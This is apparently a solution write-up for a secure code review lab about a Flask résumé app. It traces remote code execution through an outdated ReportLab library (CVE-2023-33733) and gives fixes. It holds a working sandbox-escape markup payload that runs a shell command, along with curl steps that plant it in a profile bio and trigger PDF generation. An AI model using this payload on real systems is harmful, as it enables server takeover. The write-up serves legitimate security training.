Secure Code Review Challenge #2: Professional — Solution (Clean Code Can Still Be Vulnerable)

📢 The solution to Challenge #2: Professional is live. Watch the video walkthrough here, or read the full write-up on GitHub.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven't attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you've already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #3 is already live in the repo under challenges/ here. The solution to it will follow in a couple of weeks, alongside a fourth challenge.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you'll get notified automatically instead of having to check back manually.

With that out of the way, let's walk through Professional the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We're Reviewing

Professional is a small résumé-builder platform. Users register, log in, create one or more professional profiles (a bio plus work experience entries), mark each profile public or private, and export any profile as a PDF résumé. Two roles, no admin, no complicated org structure — the application logic itself is about as straightforward as it gets. That simplicity matters for this challenge: it's a good reminder that the app's own code being clean and well-guarded doesn't automatically mean the app is safe. Sometimes the weak point isn't anything you wrote at all.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is just running the app and using it — docker compose up --build, register a user, create a profile, mark it private, generate a résumé PDF. That alone tells you the shape of the feature set before you've read a line of code.

Reading the stack comes next:

• Python 3 + Flask for the backend routes
• MongoDB, accessed through PyMongo, with queries expressed as plain Python dicts (find_one({'username': name}))
• JWT auth via PyJWT, signed with HS256 and a shared secret
• bcrypt for password hashing
• ReportLab for generating the PDF résumés

The docker-compose.yml is worth reading closely here, because it tells you something the app code alone wouldn't: Mongo is brought up with no authentication configured, reachable only over the private Docker network. That's a reasonable assumption if nothing else on that network can be coerced into talking to it maliciously — file that away, because it becomes relevant later.

The Dockerfile builds from python:3.10.14-slim, installs requirements.txt, and switches to a non-root appuser before running app.py. Non-root is good hygiene, but it limits blast radius — it doesn't prevent code execution inside the container in the first place.

From app.py, the picture is: routes for auth, profile CRUD, and résumé generation, all defined directly on the Flask app; a store.py module wrapping the two Mongo collections (users and profiles); a pdf_generator.py module that builds the résumé with ReportLab; and a thin static frontend (index.html + app.js) that stores the JWT in sessionStorage and attaches it as a Bearer header on every request.

One more detail worth clocking early, because a review should reason about dependencies and not just first-party code: the libraries in play here are Flask, MongoDB/PyMongo, PyJWT, bcrypt, and ReportLab. Every one of them is a place where someone else's code — not this app's — determines part of your security posture.

2. 🚪 Entry Points

Enumerating entry points is mostly a matter of reading the routes:

• POST /register — no auth. Body: username, password
• POST /login — no auth. Body: username, password
• GET /profiles — no auth. Lists public profiles
• POST /profiles — authenticated. Body: bio, work_experiences[], is_private
• GET /profiles/my — authenticated. Uses the caller's ID from the JWT
• GET /profiles/<id> — no @authenticate_token decorator at all. id comes from the URL
• PUT /profiles/<id> — authenticated. Body: bio, work_experiences[], is_private, plus id from the URL
• DELETE /profiles/<id> — authenticated. id from the URL
• POST /profiles/my/resume — authenticated. Reads the caller's own stored profile and returns a generated PDF

That missing decorator on GET /profiles/<id> stands out immediately — it's the kind of thing that looks like it should be an authorization bug. Keep it in mind; we'll come back to it.

3. 🎯 Dangerous Sinks

Places where user input could change behavior, before deciding which are actually reachable:

• MongoDB queries (find_one, find, update_one) across store.py, fed by usernames and profile fields
• ObjectId(profile_id), fed by the <id> URL segment
• DOM rendering in the frontend, fed by whatever the API returns as JSON
• ReportLab's Paragraph() markup parser, fed by bio, work-experience fields, and username

That last one deserves a beat of explanation, because it's easy to skim past. Paragraph() doesn't treat its argument as plain text — it parses a small XML/HTML-like markup language, with tags like <b>, <br/>, and <font color="...">. In pdf_generator.py, user-controlled text is handed to Paragraph() with no escaping at all: the bio, every work-experience field, and even the username in the document title. Untrusted input reaching a markup parser unescaped is exactly the kind of thing worth carrying forward as a lead.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

Same two buckets as always: business-logic vulnerabilities (should this be enforced, per entry point) and source-to-sink vulnerabilities (should this be reachable, per sink).

🔓 Business logic first.

Authentication holds up: the JWT decode pins algorithms=['HS256'] — no algorithm-confusion path — and passwords are hashed and verified with bcrypt on both register and login.

Authorization / IDOR also holds up on the routes that matter for mutation: both the update and delete handlers check ownership against request.current_user_id, which is derived from the verified token, never from anything in the request body.

The private-profile route is the interesting one. Remember that missing @authenticate_token decorator on GET /profiles/<id>? Because the decorator never runs, request.current_user_id is never set — and the private-check branch in that handler treats everyone, including the profile's own owner, as unauthenticated. The practical effect is that it returns a 404 to anyone trying to view a private profile by ID, owner included. It's a bug, but it's an over-restrictive functional bug, not a data leak — nothing sensitive is actually exposed. Worth flagging, not worth chasing as "the" vulnerability.

CSRF is a non-issue here: auth is a Bearer token read from sessionStorage and attached manually by the frontend JS, and there's no auth cookie for a forged cross-site request to ride along on.

💉 Source-to-sink next.

NoSQL injection is worth checking carefully given how MongoDB queries work in this app. The /login username flows into find_one({'username': username}) — since it comes from a JSON body, a dict like {"$ne": null} could technically match a document. But login still requires the real password via bcrypt.checkpw(...), and password.encode() throws if the password isn't a string, so the operator trick can't complete an actual auth bypass. The ObjectId(profile_id) path is even more clear-cut: a URL path segment is always a plain string, so it structurally can't carry a dict or operator in the first place — the worst case is an invalid string raising inside ObjectId(), caught by a try/except and turned into a 500.

Stored/DOM XSS in the frontend also checks out clean: the UI builds nodes with textContent and element properties, never innerHTML, and there's a CSP restricting script-src to 'self' on top of that.

So at this point, every business-logic check and every classic source-to-sink vector — auth, IDOR, CSRF, NoSQL injection, XSS — comes back clean. The app's own code, genuinely, is well-written. Which is exactly the setup for where this challenge is actually going.

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: 💥 RCE Through a Dependency, Not the App's Own Code

Go back to the one sink we flagged and didn't cross off: Paragraph() parsing the bio, work-experience fields, and username as markup, completely unescaped.

Running a vulnerability scanner such as Grype shows this function has a High severity vulnerability that could lead to RCE.

$ grype .
 ✔ Indexed file system                                                                                                                                   .
 ✔ Cataloged contents                                                                     cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
   ├── ✔ Packages                        [7 packages]
   ├── ✔ Executables                     [0 executables]
   ├── ✔ File digests                    [1 files]
   └── ✔ File metadata                   [1 locations]
 ✔ Scanned for vulnerabilities     [16 vulnerability matches]
   ├── by severity: 0 critical, 4 high, 10 medium, 2 low, 0 negligible
   └── by status:   16 fixed, 0 not-fixed, 0 ignored
[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal) from=syft
NAME           INSTALLED  FIXED IN  TYPE    VULNERABILITY        SEVERITY  EPSS         RISK
werkzeug       2.3.7      3.0.3     python  GHSA-2g68-c3qc-8985  High      3.4% (87th)  2.5
reportlab      3.6.9      3.6.13    python  GHSA-9q9m-c65c-37pq  High      2.1% (80th)  1.6
werkzeug       2.3.7      3.0.6     python  GHSA-q34m-jh98-gwm2  Medium    1.1% (62nd)  0.7
werkzeug       2.3.7      2.3.8     python  GHSA-hrfv-mqp8-q5rw  Medium    1.1% (61st)  0.6
werkzeug       2.3.7      3.0.6     python  GHSA-f9vj-2wh5-fj8j  Medium    0.8% (52nd)  0.4
pymongo        4.5.0      4.6.3     python  GHSA-m87m-mmvp-v9qm  Medium    0.7% (48th)  0.3
werkzeug       2.3.7      3.1.6     python  GHSA-29vq-49wr-vm6x  Medium    0.6% (43rd)  0.3
pyjwt          2.8.0      2.13.0    python  GHSA-xgmm-8j9v-c9wx  High      0.4% (32nd)  0.3
werkzeug       2.3.7      3.1.4     python  GHSA-hgf8-39gv-g3f2  Medium    0.5% (41st)  0.3
werkzeug       2.3.7      3.1.5     python  GHSA-87hc-h4r5-73f7  Medium    0.4% (34th)  0.2
pyjwt          2.8.0      2.12.0    python  GHSA-752w-5fwx-jx9f  High      0.3% (18th)  0.2
pyjwt          2.8.0      2.13.0    python  GHSA-w7vc-732c-9m39  Medium    0.4% (29th)  0.2
python-dotenv  1.0.0      1.2.2     python  GHSA-mf9w-mj56-hr94  Medium    0.3% (17th)  0.1
pyjwt          2.8.0      2.13.0    python  GHSA-fhv5-28vv-h8m8  Low       0.3% (26th)  0.1
pyjwt          2.8.0      2.13.0    python  GHSA-993g-76c3-p5m4  Medium    0.2% (12th)  0.1
flask          2.3.3      3.1.3     python  GHSA-68rp-wp8r-4726  Low       0.3% (26th)  < 0.1
So an attacker just stores the exploit payload as their own bio and requests their own résumé. Let's use the payload in the PoC documented here to prove this is exploitable.

So an attacker just stores the exploit payload as their own bio and requests their own résumé.Let's use the payload in the PoC documented here to prove this is exploitable.

Proof of concept:

# 1. Save the CVE-2023-33733 payload. It runs: touch /tmp/exploited
cat > payload <<'EOF'
<para>
  <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
    exploit
  </font>
</para>
EOF

# 2. Register a normal user
curl -s -X POST http://localhost:5000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}'

# 3. Log in and grab the JWT
JWT_TOKEN=$(curl -s -X POST http://localhost:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}' | jq -r '.token')

# 4. Create a profile whose bio *is* the payload
curl -s -X POST http://localhost:5000/profiles \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $JWT_TOKEN" \
  -d "{\"bio\": $(jq -Rs . < payload)}"

# 5. Generate the résumé PDF — this parses the bio markup and runs the command
curl -s -X POST http://localhost:5000/profiles/my/resume \
  -H "Authorization: Bearer $JWT_TOKEN" \
  --output resume.pdf

Confirm it landed inside the container:

docker exec -it $(docker ps -q --filter "name=app") ls -la /tmp/exploited
# → file exists ⇒ arbitrary command executed on the server

No auth bypass, no injection into a query, no clever chain across multiple app bugs. One legitimate feature (PDF export), fed attacker-controlled text, handed to a vulnerable library that treats that text as executable markup. That's the entire attack. Code execution here runs as appuser — non-root limits the damage but doesn't prevent it, and it's more than enough to read the app's secrets and reach that unauthenticated Mongo instance over the Docker network.

7. 🛠️ The Fix

The primary fix is the obvious one: patch the dependency.

# requirements.txt
reportlab==4.0.7   # was 3.6.9 (CVE-2023-33733); 3.6.13 is the minimum patched version

But patching alone isn't the whole story, and the solution write-up is deliberately clear about not relying on a single control here. A few things worth layering on top:

• Escape user input before it becomes markup, even on a patched version — Paragraph() still treats its input as markup, patched sandbox or not:

from xml.sax.saxutils import escape
story.append(Paragraph(escape(profile['bio'])))
# escape() every work-experience field and the username too

• Input validation / allowlisting at the API boundary, restricting characters and length on profile fields so a payload like this can't be stored in the first place.
• Automated dependency scanning in CI — this is fundamentally an "outdated component" bug, so tools like pip-audit, Grype, Snyk, or Dependabot would have caught it before it ever shipped.
• Harden the runtime further — render PDFs in a locked-down worker with no outbound network and a minimal filesystem, enable MongoDB authentication instead of leaving it open on the Docker network, and turn off Flask's debug=True outside local development (its interactive debugger is its own RCE vector).

8. Why This Matters Beyond ReportLab

The specific CVE here is ReportLab's, but the lesson isn't really about ReportLab. It's this: a secure code review that only reviews first-party code is an incomplete review. Every check we ran in Part I — auth, authorization, CSRF, injection, XSS — came back clean, and honestly, they were clean. The application's own logic was well-written. None of that mattered, because the vulnerability wasn't in logic the team wrote; it was in a library they pulled in to handle a completely mundane feature, sitting three minor versions behind a fix.

This is exactly what OWASP's A06:2021 – Vulnerable & Outdated Components is about, and it's worth taking seriously precisely because it doesn't feel like a "coding" bug. Nobody on the team wrote eval(). Nobody skipped an authorization check. The team just didn't have visibility into what their dependency tree actually contained, and didn't have a control (escaping) that would have neutralized the risk even if the dependency stayed outdated for a while.

The practical takeaway for how you review code: your dependency list is part of your application's attack surface, not separate from it. A review that stops at "the code my team wrote looks solid" — without running an SCA tool, without checking what markup/template/serialization libraries are doing with untrusted input — is going to miss exactly this class of bug. Equifax in 2017 is still the canonical example of what this looks like at scale (an unpatched Apache Struts RCE, ~147 million records), but you don't need a breach that size to internalize the lesson: check what your dependencies are actually parsing, and check whether they're current, every time — not just the code sitting in your own repo.

Wrapping Up

If you worked through Professional yourself, I'd like to know how far you got before you landed on the dependency — did you go looking at requirements.txt early, or did you (like the "natural" review order in this write-up) only get there after everything else checked out clean? Drop your thoughts in the comments.

Challenge #3 is live now if you're ready for the next one, and I'll be back in a couple of weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/2j3dM9OiOT0
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #2: challenges/002-professional
• 🧩 Try Challenge #3: challenges/003-...